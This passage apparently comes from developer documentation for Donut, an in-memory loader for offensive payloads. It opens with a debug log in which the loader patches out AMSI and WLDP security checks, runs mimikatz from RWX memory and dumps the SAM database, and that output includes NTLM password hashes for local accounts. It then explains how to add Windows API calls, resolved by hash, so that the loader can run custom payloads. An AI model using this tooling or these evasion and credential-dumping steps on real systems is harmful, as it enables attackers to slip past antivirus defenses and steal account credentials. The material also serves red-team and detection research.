peb.c:110:FindExport(): Trying to load api-ms-win-core-com-l1-1-0.dll DEBUG: peb.c:114:FindExport(): Calling GetProcAddress(CoCreateInstance) DEBUG: loader/loader.c:196:MainProc(): Resolving API address for FF0605E1258BEE44 DEBUG: peb.c:87:FindExport(): ff0605e1258bee44 is forwarded to api-ms-win-core-com-l1-1-0.CoUninitialize DEBUG: peb.c:110:FindExport(): Trying to load api-ms-win-core-com-l1-1-0.dll DEBUG: peb.c:114:FindExport(): Calling GetProcAddress(CoUninitialize) DEBUG: loader/loader.c:196:MainProc(): Resolving API address for D5CEDA5C642834D7 DEBUG: loader/loader.c:196:MainProc(): Resolving API address for A69EAF72442222A4 DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 4DBA40D90962E1D6 DEBUG: loader/loader.c:196:MainProc(): Resolving API address for A1143A47656B2526 DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 62FF88CDC045477E DEBUG: loader/loader.c:196:MainProc(): Resolving API address for E20BCE2C11E82C7B DEBUG: loader/loader.c:196:MainProc(): Resolving API address for A469294ED1E1D8DC DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 61E26E7C5DD38D2C DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 145C8CF24F5EAF3E DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 12ACA3AD3CC20AF5 DEBUG: loader/loader.c:218:MainProc(): Module is embedded. DEBUG: bypass.c:112:DisableAMSI(): Length of AmsiScanBufferStub is 36 bytes. DEBUG: bypass.c:122:DisableAMSI(): Overwriting AmsiScanBuffer DEBUG: bypass.c:137:DisableAMSI(): Length of AmsiScanStringStub is 36 bytes. DEBUG: bypass.c:147:DisableAMSI(): Overwriting AmsiScanString DEBUG: loader/loader.c:226:MainProc(): DisableAMSI OK DEBUG: bypass.c:326:DisableWLDP(): Length of WldpQueryDynamicCodeTrustStub is 20 bytes. DEBUG: bypass.c:350:DisableWLDP(): Length of WldpIsClassInApprovedListStub is 36 bytes. DEBUG: loader/loader.c:232:MainProc(): DisableWLDP OK DEBUG: loader/loader.c:239:MainProc(): Compression engine is 5 DEBUG: loader/loader.c:242:MainProc(): Allocating 1015240 bytes of memory for decompressed file and module information DEBUG: loader/loader.c:252:MainProc(): Duplicating DONUT_MODULE DEBUG: loader/loader.c:256:MainProc(): Decompressing 478726 -> 1013912 DEBUG: loader/loader.c:270:MainProc(): WorkSpace size : 1415999 | Fragment size : 5161 DEBUG: loader/loader.c:277:MainProc(): Decompressing with RtlDecompressBufferEx(XPRESS HUFFMAN) DEBUG: loader/loader.c:302:MainProc(): Checking type of module DEBUG: inmem_pe.c:103:RunPE(): Allocating 1019904 (0xf9000) bytes of RWX memory for file DEBUG: inmem_pe.c:112:RunPE(): Copying Headers DEBUG: inmem_pe.c:115:RunPE(): Copying each section to RWX memory 00000178FF170000 DEBUG: inmem_pe.c:127:RunPE(): Applying Relocations DEBUG: inmem_pe.c:151:RunPE(): Processing the Import Table DEBUG: inmem_pe.c:159:RunPE(): Loading ADVAPI32.dll DEBUG: inmem_pe.c:159:RunPE(): Loading Cabinet.dll DEBUG: inmem_pe.c:159:RunPE(): Loading CRYPT32.dll DEBUG: inmem_pe.c:159:RunPE(): Loading cryptdll.dll DEBUG: inmem_pe.c:159:RunPE(): Loading DNSAPI.dll DEBUG: inmem_pe.c:159:RunPE(): Loading FLTLIB.DLL DEBUG: inmem_pe.c:159:RunPE(): Loading NETAPI32.dll DEBUG: inmem_pe.c:159:RunPE(): Loading ole32.dll DEBUG: inmem_pe.c:159:RunPE(): Loading OLEAUT32.dll DEBUG: inmem_pe.c:159:RunPE(): Loading RPCRT4.dll DEBUG: inmem_pe.c:159:RunPE(): Loading SHLWAPI.dll DEBUG: inmem_pe.c:159:RunPE(): Loading SAMLIB.dll DEBUG: inmem_pe.c:159:RunPE(): Loading Secur32.dll DEBUG: inmem_pe.c:159:RunPE(): Loading SHELL32.dll DEBUG: inmem_pe.c:159:RunPE(): Loading USER32.dll DEBUG: inmem_pe.c:159:RunPE(): Loading USERENV.dll DEBUG: inmem_pe.c:159:RunPE(): Loading VERSION.dll DEBUG: inmem_pe.c:159:RunPE(): Loading HID.DLL DEBUG: inmem_pe.c:159:RunPE(): Loading SETUPAPI.dll DEBUG: inmem_pe.c:159:RunPE(): Loading WinSCard.dll DEBUG: inmem_pe.c:159:RunPE(): Loading WINSTA.dll DEBUG: inmem_pe.c:159:RunPE(): Loading WLDAP32.dll DEBUG: inmem_pe.c:159:RunPE(): Loading advapi32.dll DEBUG: inmem_pe.c:159:RunPE(): Loading msasn1.dll DEBUG: inmem_pe.c:159:RunPE(): Loading ntdll.dll DEBUG: inmem_pe.c:159:RunPE(): Loading netapi32.dll DEBUG: inmem_pe.c:159:RunPE(): Loading KERNEL32.dll DEBUG: inmem_pe.c:182:RunPE(): Replacing KERNEL32.dll!ExitProcess with ntdll!RtlExitUserThread DEBUG: inmem_pe.c:159:RunPE(): Loading msvcrt.dll DEBUG: inmem_pe.c:182:RunPE(): Replacing msvcrt.dll!exit with ntdll!RtlExitUserThread DEBUG: inmem_pe.c:182:RunPE(): Replacing msvcrt.dll!_cexit with ntdll!RtlExitUserThread DEBUG: inmem_pe.c:182:RunPE(): Replacing msvcrt.dll!_exit with ntdll!RtlExitUserThread DEBUG: inmem_pe.c:196:RunPE(): Processing Delayed Import Table DEBUG: inmem_pe.c:204:RunPE(): Loading bcrypt.dll DEBUG: inmem_pe.c:204:RunPE(): Loading ncrypt.dll DEBUG: inmem_pe.c:319:RunPE(): Setting command line: MTFM lsadump::sam exit DEBUG: inmem_pe.c:433:SetCommandLineW(): Obtaining handle for kernelbase DEBUG: inmem_pe.c:449:SetCommandLineW(): Searching 2161 pointers DEBUG: inmem_pe.c:458:SetCommandLineW(): BaseUnicodeCommandLine at 00007FFFD1609E70 : loader instance DEBUG: inmem_pe.c:466:SetCommandLineW(): New BaseUnicodeCommandLine at 00007FFFD1609E70 : MTFM lsadump::sam exit DEBUG: inmem_pe.c:483:SetCommandLineW(): New BaseAnsiCommandLine at 00007FFFD1609E60 : MTFM lsadump::sam exit DEBUG: inmem_pe.c:530:SetCommandLineW(): Setting ucrtbase.dll!__p__acmdln "loader instance" to "MTFM lsadump::sam exit" DEBUG: inmem_pe.c:543:SetCommandLineW(): Setting ucrtbase.dll!__p__wcmdln "loader instance" to "MTFM lsadump::sam exit" DEBUG: inmem_pe.c:530:SetCommandLineW(): Setting msvcrt.dll!_acmdln "loader instance" to "MTFM lsadump::sam exit" DEBUG: inmem_pe.c:543:SetCommandLineW(): Setting msvcrt.dll!_wcmdln "loader instance" to "MTFM lsadump::sam exit" DEBUG: inmem_pe.c:323:RunPE(): Wiping Headers from memory DEBUG: inmem_pe.c:332:RunPE(): Creating thread for entrypoint of EXE : 00000178FF2007F8 .#####. mimikatz 2.2.0 (x64) #18362 Aug 14 2019 01:31:47 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ mimikatz(commandline) # lsadump::sam Domain : DESKTOP-B888L2R SysKey : b43927eef0f56833c527ea951c37abc1 Local SID : S-1-5-21-1047138248-288568923-692962947 SAMKey : f1813d42812fcde9c5fe08807370613d RID : 000001f4 (500) User : Administrator RID : 000001f5 (501) User : Guest RID : 000001f7 (503) User : DefaultAccount RID : 000001f8 (504) User : WDAGUtilityAccount Hash NTLM: c288f1c30b232571b0222ae6a5b7d223 RID : 000003e9 (1001) User : john Hash NTLM: 8846f7eaee8fb117ad06bdd830b7586c RID : 000003ea (1002) User : user Hash NTLM: 5835048ce94ad0564e29a924a03510ef RID : 000003eb (1003) User : test mimikatz(commandline) # exit Bye! DEBUG: inmem_pe.c:338:RunPE(): Process terminated DEBUG: inmem_pe.c:349:RunPE(): Erasing 1019904 bytes of memory at 00000178FF170000 DEBUG: inmem_pe.c:353:RunPE(): Releasing memory DEBUG: loader/loader.c:343:MainProc(): Erasing RW memory for instance DEBUG: loader/loader.c:346:MainProc(): Releasing RW memory for instance DEBUG: loader/loader.c:354:MainProc(): Returning to caller
Obviously you should be cautious with what files you decide to execute on your machine.
Donut was never designed with modularity in mind, however, a new version in future will try to simplify the process of extending the loader, so that others can write their own code for it. Currently, simple changes to the loader can sometimes require lots of changes to the entire code base and this isn't really ideal. If for any reason you want to update the loader to include additional functionality, the following steps are required.
For each API you want the loader to use, declare a function pointer in loader/winapi.h. For example, the Sleep
API is declared in its SDK header file as:
void Sleep(DWORD dwMilliseconds);
The function pointer for this would be declared in loader/winapi.h as:
typedef void (WINAPI *Sleep_t)(DWORD dwMilliseconds);
At the moment, Donut resolves API using a 64-bit hash, which is calculated by the generator before being stored in the loader itself. In donut.c is a variable called api_imports, declared as an array of API_IMPORT
structures. Each entry contains a case-sensitive API string and corresponding DLL string in lowercase. The Sleep
API is exported by kernel32.dll, so if we want the loader to use Sleep, the api_imports
must have the following added to it. This array is terminated by an empty entry.
{KERNEL32_DLL, "Sleep"},
Of course, KERNEL32_DLL used here is a symbolic constant for "kernel32.dll".
The DONUT_INSTANCE
structure is defined in include/donut.h and one of the fields called api
is defined as a union to hold three members. hash is an array of uint64_t
integers to hold a 64-bit hash of each API string. addr is an array of void*
pointers to hold the address of an API in memory and finally a structure holding all the function pointers. These pointers are placed in the same order as the API strings stored in api_imports. Currently, the api member can hold up to 64 function pointers or hashes, but this can be increased if required.
Where you place the API string in api_imports is entirely up to you, but it must be in the same order as where the function pointer is placed in the DONUT_INSTANCE
structure.
A number of DLL are already loaded by a process; ntdll.dll, kernel32.dll and kernelbase.dll. For everything else, the instance contains a list of DLL strings loaded before attempting to resolve the address of APIs. The following list of DLLs seperated by semi-colon are loaded prior to resolving API. If the API you want Donut loader to use is exported by a DLL not shown here, you need to add it to the list.
// required for each API used by the loader #define DLL_NAMES "ole32;oleaut32;wininet;mscoree;shell32;dnsapi"
If the API were successfully resolved, simply referencing the function pointer in a pointer to DONUT_INSTANCE
is enough to invoke it. The following line of code shows how to call the Sleep
API declared earlier.
inst->api.Sleep(1000*5);
Future plans for Donut are to provide multiple options for resolving API; Import Address Table (IAT), Export Address Table (EAT) and Exception Directory to name a few. It should also be much easier to write custom payloads using the loader.